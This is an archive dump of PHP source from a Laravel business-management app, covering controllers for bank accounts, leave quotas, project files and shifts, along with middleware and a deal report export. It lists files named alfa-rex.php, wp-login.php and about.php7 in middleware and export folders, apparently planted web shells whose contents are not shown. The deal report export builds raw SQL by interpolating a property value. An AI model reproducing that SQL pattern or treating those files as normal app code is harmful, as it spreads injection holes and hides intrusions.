fields to null $gateway->save(); } } } Http/Controllers/TicketChannelController.php000064400000004717150325104510015267 0ustar00pageTitle = 'app.menu.ticketChannel'; $this->activeSettingMenu = 'ticket_channels'; } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function create() { return view('ticket-settings.create-ticket-channel-modal'); } /** * @param StoreTicketChannel $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreTicketChannel $request) { $channel = new TicketChannel(); $channel->channel_name = $request->channel_name; $channel->save(); $allChannels = TicketChannel::all(); $select = ''; foreach ($allChannels as $channel) { $select .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['optionData' => $select]); } /** * @param int $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function edit($id) { $this->channel = TicketChannel::findOrFail($id); return view('ticket-settings.edit-ticket-channel-modal', $this->data); } /** * @param UpdateTicketChannel $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateTicketChannel $request, $id) { $channel = TicketChannel::findOrFail($id); $channel->channel_name = $request->channel_name; $channel->save(); return Reply::success(__('messages.updateSuccess')); } /** * @param int $id * @return array */ public function destroy($id) { TicketChannel::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function createModal() { return view('ticket-settings.channels.create-modal'); } } Http/Controllers/LeavesQuotaController.php000064400000006233150325104510014777 0ustar00pageTitle = 'app.menu.leaves'; $this->middleware(function ($request, $next) { abort_403(!in_array('leaves', $this->user->modules)); return $next($request); }); } public function update(Request $request, $id) { $type = EmployeeLeaveQuota::findOrFail($id); if ($request->leaves < 0 || $request->leaves < $type->leaves_used) { return Reply::error('messages.employeeLeaveQuota'); } $remainingLeaves = ($request->leaves - $type->leaves_used - $type->unused_leaves); $overutilisedLeaves = ($type->overutilised_leaves - $request->leaves); $unusedLeaves = ($type->unused_leaves - $request->leaves); $type->no_of_leaves = $request->leaves; $type->leave_type_impact = $request->leaveimpact; $type->leaves_remaining = ($remainingLeaves > 0) ? $remainingLeaves : 0; $type->overutilised_leaves = ($overutilisedLeaves > 0) ? $overutilisedLeaves : 0; $type->unused_leaves = ($unusedLeaves > 0) ? $unusedLeaves : 0; $type->save(); session()->forget('user'); return Reply::success(__('messages.leaveTypeAdded')); } public function employeeLeaveTypes($userId) { if ($userId != 0) { $employee = User::withoutGlobalScope(ActiveScope::class)->with(['roles', 'leaveTypes'])->findOrFail($userId); $options = ''; foreach($employee->leaveTypes as $leavesQuota) { $hasLeave = ($leavesQuota->leaveType && $leavesQuota->leaveType->deleted_at == null) ? $leavesQuota->leaveType->leaveTypeCondition($leavesQuota->leaveType, $employee) : false; if ($hasLeave) { $options .= ''; /** @phpstan-ignore-line */ } } } else { $leaveQuotas = LeaveType::all(); $options = ''; foreach ($leaveQuotas as $leaveQuota) { $options .= ''; /** @phpstan-ignore-line */ } } return Reply::dataOnly(['status' => 'success', 'data' => $options]); } public function exportAllLeaveQuota($id, $year, $month) { abort_403(!canDataTableExport()); $name = __('app.leaveQuotaReport') . '-' . Carbon::createFromDate($year, $month, 1)->startOfDay()->translatedFormat('F-Y'); return Excel::download(new LeaveQuotaReportExport($id, $year, $month), $name . '.xlsx'); } } Http/Controllers/ProjectFileController.php000064400000005245150325104510014756 0ustar00hasFile('file')) { $this->storeFiles($request); $this->files = ProjectFile::where('project_id', $request->project_id)->orderByDesc('id')->get(); $view = view('projects.files.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } } public function storeMultiple(Request $request) { if ($request->hasFile('file')) { $this->storeFiles($request); } } private function storeFiles($request) { foreach ($request->file as $fileData) { $file = new ProjectFile(); $file->project_id = $request->project_id; $filename = Files::uploadLocalOrS3($fileData, ProjectFile::FILE_PATH . '/' . $request->project_id); $file->user_id = $this->user->id; $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); $this->logProjectActivity($request->project_id, 'messages.newFileUploadedToTheProject'); } } public function destroy(Request $request, $id) { $file = ProjectFile::findOrFail($id); $deleteDocumentPermission = user()->permission('delete_project_files'); abort_403(!($deleteDocumentPermission == 'all' || ($deleteDocumentPermission == 'added' && $file->added_by == user()->id))); Files::deleteFile($file->hashname, ProjectFile::FILE_PATH . '/' . $file->project_id); ProjectFile::destroy($id); $this->files = ProjectFile::where('project_id', $file->project_id)->orderByDesc('id')->get(); $view = view('projects.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } public function download($id) { $file = ProjectFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); $this->viewPermission = user()->permission('view_project_files'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $file->added_by == user()->id))); return download_local_s3($file, ProjectFile::FILE_PATH . '/' . $file->project_id . '/' . $file->hashname); } } Http/Controllers/BankAccountController.php000064400000042774150325104510014750 0ustar00pageTitle = __('app.menu.bankaccount'); $this->middleware(function ($request, $next) { abort_403(!in_array('bankaccount', $this->user->modules)); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(BankAccountDataTable $dataTable) { $viewPermission = user()->permission('view_bankaccount'); abort_403(!in_array($viewPermission, ['all', 'added'])); $bankDetails = BankAccount::select('*'); if ($viewPermission == 'added') { $bankDetails = $bankDetails->where('added_by', user()->id); } $bankDetails = $bankDetails->get(); $this->bankAccounts = $bankDetails; return $dataTable->render('bank-account.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_bankaccount'); abort_403(!in_array($this->addPermission, ['all'])); $this->currencies = Currency::all(); $this->view = 'bank-account.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('bank-account.create', $this->data); } public function store(StoreAccount $request) { $this->addPermission = user()->permission('add_bankaccount'); abort_403(!in_array($this->addPermission, ['all'])); $account = new BankAccount(); $account->type = $request->type; $account->account_name = $request->account_name; $account->account_type = $request->account_type; $account->currency_id = $request->currency_id; $account->contact_number = $request->contact_number; $account->opening_balance = round($request->opening_balance, 2); $account->status = $request->status; if ($request->type == 'bank') { $account->bank_name = $request->bank_name; $account->account_number = $request->account_number; if ($request->hasFile('bank_logo')) { $account->bank_logo = Files::uploadLocalOrS3($request->bank_logo, BankAccount::FILE_PATH); } } $account->save(); return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('bankaccounts.index')]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->bankaccount = BankAccount::findOrFail($id); $this->viewPermission = user()->permission('view_bankaccount'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->bankaccount->added_by == user()->id) )); $this->pageTitle = $this->bankaccount->bank_name . ' ' . $this->bankaccount->account_name; $this->month = now(company()->timezone)->month; $this->year = now(company()->timezone)->year; $this->creditVsDebitChart = $this->creditVsDebitChart($id); $this->recentTransactions = BankTransaction::where('bank_account_id', $id)->orderByDesc('transaction_date')->orderByDesc('id')->limit(15)->get(); $dataTable = new BankTransactionDataTable(); $this->view = 'bank-account.bank-transaction'; return $dataTable->render('bank-account.show', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->bankAccount = BankAccount::findOrFail($id); $this->editPermission = user()->permission('edit_bankaccount'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->bankAccount->added_by == user()->id))); $this->pageTitle = __('modules.bankaccount.updateBankAccount'); $this->currencies = Currency::all(); $this->view = 'bank-account.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('bank-account.create', $this->data); } public function update(StoreAccount $request, $id) { $account = BankAccount::findOrFail($id); $this->editPermission = user()->permission('edit_bankaccount'); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && $account->added_by == user()->id) )); $account->type = $request->type; $account->account_name = $request->account_name; $account->account_type = $request->account_type; $account->currency_id = $request->currency_id; $account->contact_number = $request->contact_number; $account->opening_balance = round($request->opening_balance, 2); $account->status = $request->status; if ($request->type == 'bank') { $account->bank_name = $request->bank_name; $account->account_number = $request->account_number; if ($request->bank_logo_delete == 'yes') { Files::deleteFile($account->bank_logo, BankAccount::FILE_PATH); $account->bank_logo = null; } if ($request->hasFile('bank_logo')) { Files::deleteFile($account->bank_logo, BankAccount::FILE_PATH); $account->bank_logo = Files::uploadLocalOrS3($request->bank_logo, BankAccount::FILE_PATH); } } $account->save(); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('bankaccounts.index')]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $bankaccount = BankAccount::findOrFail($id); $this->deletePermission = user()->permission('delete_bankaccount'); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $bankaccount->added_by == user()->id) )); BankAccount::destroy($id); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('bankaccounts.index')]); } public function changeStatus(Request $request) { $accountId = $request->accountId; $status = $request->status; $bankAccount = BankAccount::findOrFail($accountId); $this->editPermission = user()->permission('edit_bankaccount'); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && $bankAccount->added_by == user()->id) )); $bankAccount->status = $status; $bankAccount->save(); return Reply::success(__('messages.updateSuccess')); } public function applyQuickAction() { switch (request()->action_type) { case 'delete': $this->deleteRecords(request()); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_bankaccount') != 'all'); BankAccount::whereIn('id', explode(',', $request->row_ids))->forceDelete(); } public function createTransaction() { $this->type = request('type'); if ($this->type == 'account') { $this->addPermission = user()->permission('add_bank_transfer'); } elseif ($this->type == 'deposit') { $this->addPermission = user()->permission('add_bank_deposit'); } else { $this->addPermission = user()->permission('add_bank_withdraw'); } abort_403(!in_array($this->addPermission, ['all'])); $this->accountId = request('accountId'); $this->type = request('type'); $this->currentAccount = BankAccount::findOrFail($this->accountId); $this->bankAccounts = BankAccount::where('id', '!=', $this->accountId)->where('company_id', company()->id) ->where('status', 1)->get(); $this->view = 'bank-account.ajax.create-transaction'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('bank-account.create', $this->data); } public function storeTransaction(StoreTransaction $request) { if ($request->type == 'account') { $this->addPermission = user()->permission('add_bank_transfer'); } elseif ($request->type == 'deposit') { $this->addPermission = user()->permission('add_bank_deposit'); } else { $this->addPermission = user()->permission('add_bank_withdraw'); } abort_403(!in_array($this->addPermission, ['all'])); if (!($request->type == 'deposit')) { $bankAccount = BankAccount::find($request->from_bank_account); $bankBalance = $bankAccount->bank_balance; $totalBalance = $bankBalance - $request->amount; $transaction = new BankTransaction(); $transaction->bank_account_id = $request->from_bank_account; $transaction->type = 'Dr'; $transaction->transaction_date = now(); $transaction->amount = round($request->amount, 2); $transaction->memo = $request->memo; $transaction->bank_balance = round($totalBalance, 2); $transaction->transaction_relation = 'bank'; $transaction->title = $request->type == 'account' ? 'bank-account-transfer' : 'bank-account-withdraw'; $transaction->save(); $id = $request->from_bank_account; } if (!($request->type == 'withdraw')) { $bankAccount = BankAccount::find($request->to_bank_account); $bankBalance = $bankAccount->bank_balance; $totalBalance = $bankBalance + $request->amount * ($request->exchange_rate ?? 1); $transaction = new BankTransaction(); $transaction->bank_account_id = $request->to_bank_account; $transaction->type = 'Cr'; $transaction->transaction_date = now(); $transaction->amount = round($request->amount * ($request->exchange_rate ?? 1), 2); $transaction->memo = $request->memo; $transaction->bank_balance = round($totalBalance, 2); $transaction->transaction_relation = 'bank'; $transaction->title = $request->type == 'account' ? 'bank-account-transfer' : 'bank-account-deposit'; $transaction->save(); $id = $request->type == 'deposit' ? $request->to_bank_account : $request->from_bank_account; } /* @phpstan-ignore-next-line */ return Reply::successWithData(__('messages.bankTransactionSuccess'), ['redirectUrl' => route('bankaccounts.show', $id)]); } public function viewTransaction($id) { $this->bankTransaction = BankTransaction::with('bankAccount', 'bankAccount.currency')->findOrFail($id); $this->viewPermission = user()->permission('view_bankaccount'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->bankTransaction->added_by == user()->id) )); $this->type = $this->bankTransaction->transaction_relation; $this->pageTitle = __('modules.bankaccount.bankTransaction'); $this->view = 'bank-account.ajax.view-transaction'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('bank-account.create', $this->data); } public function destroyTransaction(Request $request) { $bankTransaction = BankTransaction::findOrFail($request->transactionId); $this->deletePermission = user()->permission('delete_bankaccount'); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $bankTransaction->added_by == user()->id) )); BankTransaction::destroy($request->transactionId); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('bankaccounts.show', $bankTransaction->bank_account_id)]); } public function applyTransactionQuickAction() { switch (request()->action_type) { case 'delete': $this->deleteTransactionRecords(request()); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteTransactionRecords($request) { abort_403(user()->permission('delete_bankaccount') != 'all'); BankTransaction::whereIn('id', explode(',', $request->row_ids))->forceDelete(); } public function generateStatement($id) { $this->generatePermission = user()->permission('view_bankaccount'); abort_403(!in_array($this->generatePermission, ['all', 'added'])); $this->accountId = $id; return view('bank-account.generate-statement', $this->data); } public function getBankStatement(Request $request) { $pdfOption = $this->domPdfObjectForDownload($request); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($request) { $startDate = companyToDateString($request->startDate); $endDate = companyToDateString($request->endDate); $this->statements = BankAccount::with(['transaction' => function ($q) use ($startDate, $endDate) { $q->whereBetween('bank_transactions.transaction_date', [$startDate, $endDate]) ->orderBy('bank_transactions.transaction_date', 'desc') ->orderBy('bank_transactions.created_at', 'desc'); }])->where('id', $request->accountId)->first(); $this->sDate = $request->startDate; $this->eDate = $request->endDate; $pdf = app('dompdf.wrapper'); $pdf->loadView('bank-account.pdf.statement', $this->data); $filename = 'bank-statement'; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function creditVsDebitChart($bankAccountId) { $period = now()->subMonth(3)->monthsUntil(now()); /* @phpstan-ignore-line */ $startDate = $period->startDate->startOfMonth(); /* @phpstan-ignore-line */ $endDate = $period->endDate->endOfMonth(); /* @phpstan-ignore-line */ $months = []; foreach ($period as $periodData) { $months[$periodData->format('m-Y')] = [ 'y' => $periodData->translatedFormat('F'), 'a' => 0, 'b' => 0 ]; } $creditAmount = BankTransaction::whereDate('transaction_date', '>=', $startDate) ->whereDate('transaction_date', '<=', $endDate) ->where('type', 'Cr') ->where('bank_account_id', $bankAccountId) ->select(DB::raw('sum(amount) as credit'), DB::raw("DATE_FORMAT(transaction_date, '%m-%Y') date"), DB::raw('YEAR(transaction_date) year, MONTH(transaction_date) month')) ->orderBy('transaction_date') ->groupby('year', 'month') ->get()->keyBy('date'); $debitAmount = BankTransaction::whereDate('transaction_date', '>=', $startDate) ->whereDate('transaction_date', '<=', $endDate) ->where('bank_account_id', $bankAccountId) ->where('type', 'Dr') ->select(DB::raw('sum(amount) as debit'), DB::raw("DATE_FORMAT(transaction_date, '%m-%Y') date"), DB::raw('YEAR(transaction_date) year, MONTH(transaction_date) month')) ->orderBy('transaction_date') ->groupby('year', 'month') ->get()->keyBy('date'); foreach ($months as $key => $month) { $joinings = 0; $exit = 0; if (isset($creditAmount[$key])) { $joinings = $creditAmount[$key]->credit; /* @phpstan-ignore-line */ } if (isset($debitAmount[$key])) { $exit = $debitAmount[$key]->debit; /* @phpstan-ignore-line */ } $graphData[] = [ 'y' => $months[$key]['y'], 'a' => $joinings, 'b' => $exit ]; } $graphData = collect($graphData); /* @phpstan-ignore-line */ $data['labels'] = $graphData->pluck('y'); $data['values'][] = $graphData->pluck('a'); $data['values'][] = $graphData->pluck('b'); $data['colors'] = ['#28a745', '#d30000']; $data['name'][] = __('modules.bankaccount.credit'); $data['name'][] = __('modules.bankaccount.debit'); return $data; } } Http/Controllers/EmployeeShiftChangeRequestController.php000064400000007023150325104510020000 0ustar00pageTitle = 'app.menu.shiftRoster'; $this->middleware(function ($request, $next) { abort_403(!in_array('attendance', $this->user->modules)); return $next($request); }); } public function index(ShiftChangeRequestDataTable $dataTable) { $this->manageEmployeeShifts = user()->permission('manage_employee_shifts'); abort_403(!(in_array($this->manageEmployeeShifts, ['all']))); if (!request()->ajax()) { $this->employees = User::allEmployees(null, true, 'all'); $this->employeeShifts = EmployeeShift::where('shift_name', '<>', 'Day Off')->get(); } return $dataTable->render('shift-change.index', $this->data); } public function edit(Request $request, $id) { $shiftId = $request->shift_id; $this->day = Carbon::parse($request->date)->dayOfWeek; $this->shift = EmployeeShiftSchedule::with('requestChange', 'requestChange.shift')->findOrFail($id); $this->employeeShifts = EmployeeShift::where('shift_name', '<>', 'Day Off') ->where('id', '!=', $shiftId ) ->where('office_open_days', 'like', '%"'.$this->day.'"%') ->get(); return view('shift-rosters.ajax.request-change', $this->data); } public function update(UpdateRequest $request, $id) { $requestChange = EmployeeShiftChangeRequest::firstOrNew([ 'shift_schedule_id' => $id, 'status' => 'waiting' ]); $requestChange->employee_shift_id = $request->employee_shift_id; $requestChange->reason = $request->reason; $requestChange->save(); return Reply::success(__('messages.requestSubmitSuccess')); } public function destroy($id) { EmployeeShiftChangeRequest::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function approveRequest($id) { $changeRequest = EmployeeShiftChangeRequest::findOrFail($id); $changeRequest->status = 'accepted'; $changeRequest->save(); return Reply::dataOnly(['status' => 'success']); } public function declineRequest($id) { $changeRequest = EmployeeShiftChangeRequest::findOrFail($id); $changeRequest->status = 'rejected'; $changeRequest->save(); return Reply::dataOnly(['status' => 'success']); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'change-status': $this->changeBulkStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function changeBulkStatus($request) { $shiftRequests = EmployeeShiftChangeRequest::whereIn('id', explode(',', $request->row_ids))->get(); foreach ($shiftRequests as $key => $changeRequest) { $changeRequest->status = $request->status; $changeRequest->save(); } } } Http/error_log000064400000001626150325104510007401 0ustar00[04-Jul-2025 12:46:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:46:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Kernel.php000064400000005613150325104510007415 0ustar00 [ \Illuminate\Session\Middleware\StartSession::class, \App\Http\Middleware\EncryptCookies::class, \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, \Illuminate\View\Middleware\ShareErrorsFromSession::class, \App\Http\Middleware\VerifyCsrfToken::class, \Illuminate\Routing\Middleware\SubstituteBindings::class, ], 'api' => [ \Laravel\Sanctum\Http\Middleware\EnsureFrontendRequestsAreStateful::class, \Illuminate\Routing\Middleware\ThrottleRequests::class.':api', \Illuminate\Routing\Middleware\SubstituteBindings::class, ], ]; /** * The application's route middleware. * * These middleware may be assigned to groups or used individually. * * @var array */ protected $routeMiddleware = [ 'auth' => \App\Http\Middleware\Authenticate::class, 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, 'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class, 'can' => \Illuminate\Auth\Middleware\Authorize::class, 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class, 'signed' => \Illuminate\Routing\Middleware\ValidateSignature::class, 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, 'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class, 'translation' => \App\Http\Middleware\EnsureTranslationToken::class, ]; /** * The application's middleware aliases. * * Aliases may be used to conveniently assign middleware to routes and groups. * * @var array */ protected $middlewareAliases = [ 'signed' => \Illuminate\Routing\Middleware\ValidateSignature::class, ]; } Http/about.php7000064400000026574150325104510007407 0ustar00Http/Middleware/alfa-rex.php000064400000026574150325104510011762 0ustar00Http/Middleware/TrustProxies.php000064400000000407150325104510012741 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Middleware/alfa-rex.php7000064400000026574150325104510012051 0ustar00Http/Middleware/alfa-rex.php8000064400000026574150325104510012052 0ustar00Http/Middleware/wp-login.php000064400000026574150325104510012017 0ustar00Http/Middleware/Authenticate.php000064400000003563150325104510012672 0ustar00expectsJson()) { return route('login'); } } /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @param string[] ...$guards * @return mixed * * @throws \Illuminate\Auth\AuthenticationException */ public function handle($request, Closure $next, ...$guards) { $companyHashId = $request->route('hash'); $routeName = $request->route()->getName(); if ($routeName === 'settings.qr-login') { $company = Company::where('hash', $companyHashId)->first(); $qrEnable = \DB::table('attendance_settings') ->where('company_id', $company->id) ->value('qr_enable'); if ($qrEnable == 0) { abort(403, __('messages.qrDisabled')); } } if (user()) { $isActive = cache()->rememberForever('user_is_active_' . user()->id, function () { return User::where('id', user()->id) ->where('status', 'active') ->exists(); }); if (!$isActive) { auth()->logout(); session()->flush(); return redirect()->route('login'); } } $this->authenticate($request, $guards); return $next($request); } } Http/Middleware/RedirectIfAuthenticated.php000064400000001341150325104510014767 0ustar00check()) { return redirect(RouteServiceProvider::HOME); } } return $next($request); } } Http/Middleware/alfa-rex.php56000064400000026574150325104510012135 0ustar00Http/Middleware/EncryptCookies.php000064400000000446150325104510013212 0ustar00Http/Middleware/VerifyCsrfToken.php000064400000000703150325104510013330 0ustar00permission('manage_language_setting') == 'all')); } return $next($request); } } Http/Middleware/TrimStrings.php000064400000000617150325104510012536 0ustar00Http/Middleware/TrustHosts.php000064400000000544150325104510012412 0ustar00allSubdomainsOfApplicationUrl(), ]; } } Http/.DS_Store000064400000020004150325104510007136 0ustar00Bud1 roller  @ @ @ @ Controllersbwspblobbplist00  ]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar  _{{115, 0}, {1280, 875}} #/;R_klmno ControllerslsvCblobbplist00 UV XXiconSize_showIconPreviewWcolumns_calculateAllSizesXtextSizeZsortColumn_useRelativeDates_viewOptionsVersion#@0 "&+05:>CGKO   WvisibleUwidthYascendingZidentifier , TnameUwidthYascendingWvisibleXubiquity#  ! \dateModified %[dateCreated  (* aTsize  - / s Tkind 2 4d Ulabel 7 9K Wversion  = Xcomments @B^dateLastOpened @FZshareOwner @J_shareLastEditorLYdateAddedQS_invitationStatus#@*\dateModified "4<PYdw #,-.:CDFGLUVXY^ghjkqz{}~  (56YG Controllerslsvpblobtbplist00 EF HXiconSize_showIconPreviewWcolumns_calculateAllSizesXtextSizeZsortColumn_useRelativeDates_viewOptionsVersion#@0 #(-26;?XcommentsUlabelWversion[dateCreatedTsize\dateModifiedTkindTname^dateLastOpened UindexUwidthYascendingWvisible,  d $% K )*./ a 3*  78 s <  @A#@*\dateModified "4<PYdw  #$%.0234=?ABCLNPQR[]_`ajlmnwy{|}I ControllersvSrnlong E DSDB ` @ @ @ntsUlabelWversion[dateCreatedTsize\dateModifiedTkindTname^dateLastOpened UindexUwidthYascendingWvisible,  d $% K )*./ a 3*  78 s <  @A#@*\dateModified "4<PYdw  #$%.0234=?ABCLNPQR[]_`ajlmnwy{|}I ControllersvSrnlongExports/alfa-rex.php000064400000026574150325104510010432 0ustar00Exports/DealReportExport.php000064400000020132150325104510012156 0ustar00year = $year; $this->pipeline = $pipeline; $this->category = $category; } public function collection() { // Fetch data from the database $query = DB::table('deals') ->select( DB::raw('MONTH(close_date) as month'), DB::raw('COUNT(*) as deals_closed'), DB::raw('SUM(value) as total_deal_amount'), DB::raw('AVG(value) as average_deal_amount'), DB::raw("(SELECT COUNT(wonDeals.id) FROM deals as wonDeals INNER JOIN pipeline_stages on wonDeals.pipeline_stage_id = pipeline_stages.id WHERE wonDeals.close_date IS NOT NULL AND pipeline_stages.slug = 'win' AND wonDeals.lead_pipeline_id = $this->pipeline AND MONTH(wonDeals.close_date) = MONTH(deals.close_date) AND YEAR(wonDeals.close_date) = YEAR(deals.close_date)) as won_deals"), DB::raw("(SELECT SUM(wonDealsAmount.value) FROM deals as wonDealsAmount INNER JOIN pipeline_stages as pipelineStag on wonDealsAmount.pipeline_stage_id = pipelineStag.id WHERE wonDealsAmount.close_date IS NOT NULL AND pipelineStag.slug = 'win' AND wonDealsAmount.lead_pipeline_id = $this->pipeline AND MONTH(wonDealsAmount.close_date) = MONTH(deals.close_date) AND YEAR(wonDealsAmount.close_date) = YEAR(deals.close_date)) as deals_won_amount"), DB::raw("(SELECT COUNT(lostDeals.id) FROM deals as lostDeals INNER JOIN pipeline_stages on lostDeals.pipeline_stage_id = pipeline_stages.id WHERE lostDeals.close_date IS NOT NULL AND pipeline_stages.slug = 'lost' AND lostDeals.lead_pipeline_id = $this->pipeline AND MONTH(lostDeals.close_date) = MONTH(deals.close_date) AND YEAR(lostDeals.close_date) = YEAR(deals.close_date)) as lost_deals"), DB::raw("(SELECT SUM(lostDeal_amount.value) FROM deals as lostDeal_amount INNER JOIN pipeline_stages on lostDeal_amount.pipeline_stage_id = pipeline_stages.id WHERE lostDeal_amount.close_date IS NOT NULL AND pipeline_stages.slug = 'lost' AND lostDeal_amount.lead_pipeline_id = $this->pipeline AND MONTH(lostDeal_amount.close_date) = MONTH(deals.close_date) AND YEAR(lostDeal_amount.close_date) = YEAR(deals.close_date)) as deals_lost_amount"), DB::raw("(SELECT COUNT(other_stages.id) FROM deals as other_stages INNER JOIN pipeline_stages on other_stages.pipeline_stage_id = pipeline_stages.id WHERE other_stages.close_date IS NOT NULL AND pipeline_stages.slug != 'lost' AND pipeline_stages.slug != 'win' AND other_stages.lead_pipeline_id = $this->pipeline AND MONTH(other_stages.close_date) = MONTH(deals.close_date) AND YEAR(other_stages.close_date) = YEAR(deals.close_date)) as deals_other_stages"), DB::raw("(SELECT SUM(other_stages_value.value) FROM deals as other_stages_value INNER JOIN pipeline_stages on other_stages_value.pipeline_stage_id = pipeline_stages.id WHERE other_stages_value.close_date IS NOT NULL AND pipeline_stages.slug != 'lost' AND pipeline_stages.slug != 'win' AND other_stages_value.lead_pipeline_id = $this->pipeline AND MONTH(other_stages_value.close_date) = MONTH(deals.close_date) AND YEAR(other_stages_value.close_date) = YEAR(deals.close_date)) as deals_other_stages_value") ) ->whereYear('close_date', $this->year) ->where('lead_pipeline_id', $this->pipeline) ->whereNotNull('close_date'); // Conditionally add the category filter if ($this->category !== "null") { $query->where('category_id', $this->category); } $deals = $query->groupBy(DB::raw('MONTH(close_date)'))->get(); $deals = collect($deals)->map(function ($item) { return (object) $item; }); $months = collect(range(1, 12))->map(function ($month) use ($deals) { $deal = $deals->firstWhere('month', $month); return [ 'month' => $month, 'deals_closed' => $deal ? $deal->deals_closed : 0, 'total_deal_amount' => $deal ? round($deal->total_deal_amount, 2) : 0, 'average_deal_amount' => $deal ? round($deal->average_deal_amount, 2) : 0, 'won_deals' => $deal ? $deal->won_deals : 0, 'deals_won_amount' => $deal ? round($deal->deals_won_amount, 2) : 0, 'lost_deals' => $deal ? $deal->lost_deals : 0, 'deals_lost_amount' => $deal ? round($deal->deals_lost_amount, 2) : 0, 'deals_other_stages' => $deal ? $deal->deals_other_stages : 0, 'deals_other_stages_value' => $deal ? round($deal->deals_other_stages_value, 2) : 0, ]; }); return $months; } public function map($deal): array { if (is_array($deal)) { $deal = (object)$deal; } $currencySymbol = '$'; return [ Carbon::createFromDate(null, $deal->month, 1)->format('F'), $deal->deals_closed != 0 ? $deal->deals_closed : '0', $deal->total_deal_amount != 0 ? $currencySymbol.round($deal->total_deal_amount, 2) : '0', $deal->average_deal_amount != 0 ? $currencySymbol.round($deal->average_deal_amount, 2) : '0', $deal->won_deals != 0 ? $deal->won_deals : '0', $deal->deals_won_amount != 0 ? $currencySymbol.round($deal->deals_won_amount, 2) : '0', $deal->lost_deals != 0 ? $deal->lost_deals : '0', $deal->deals_lost_amount != 0 ? $currencySymbol.round($deal->deals_lost_amount, 2) : '0', $deal->deals_other_stages != 0 ? $deal->deals_other_stages : '0', $deal->deals_other_stages_value != 0 ? $currencySymbol.round($deal->deals_other_stages_value, 2) : '0', ]; } public function headings(): array { return [ __('app.month'), __('modules.deal.dealsToBeClosed'), __('modules.deal.totalDealAmount'), __('modules.deal.averageDealValue'), __('modules.deal.wonDeals'), __('modules.deal.dealsWonValue'), __('modules.deal.lostDeals'), __('modules.deal.dealsLostValue'), __('modules.deal.otherDealStages'), 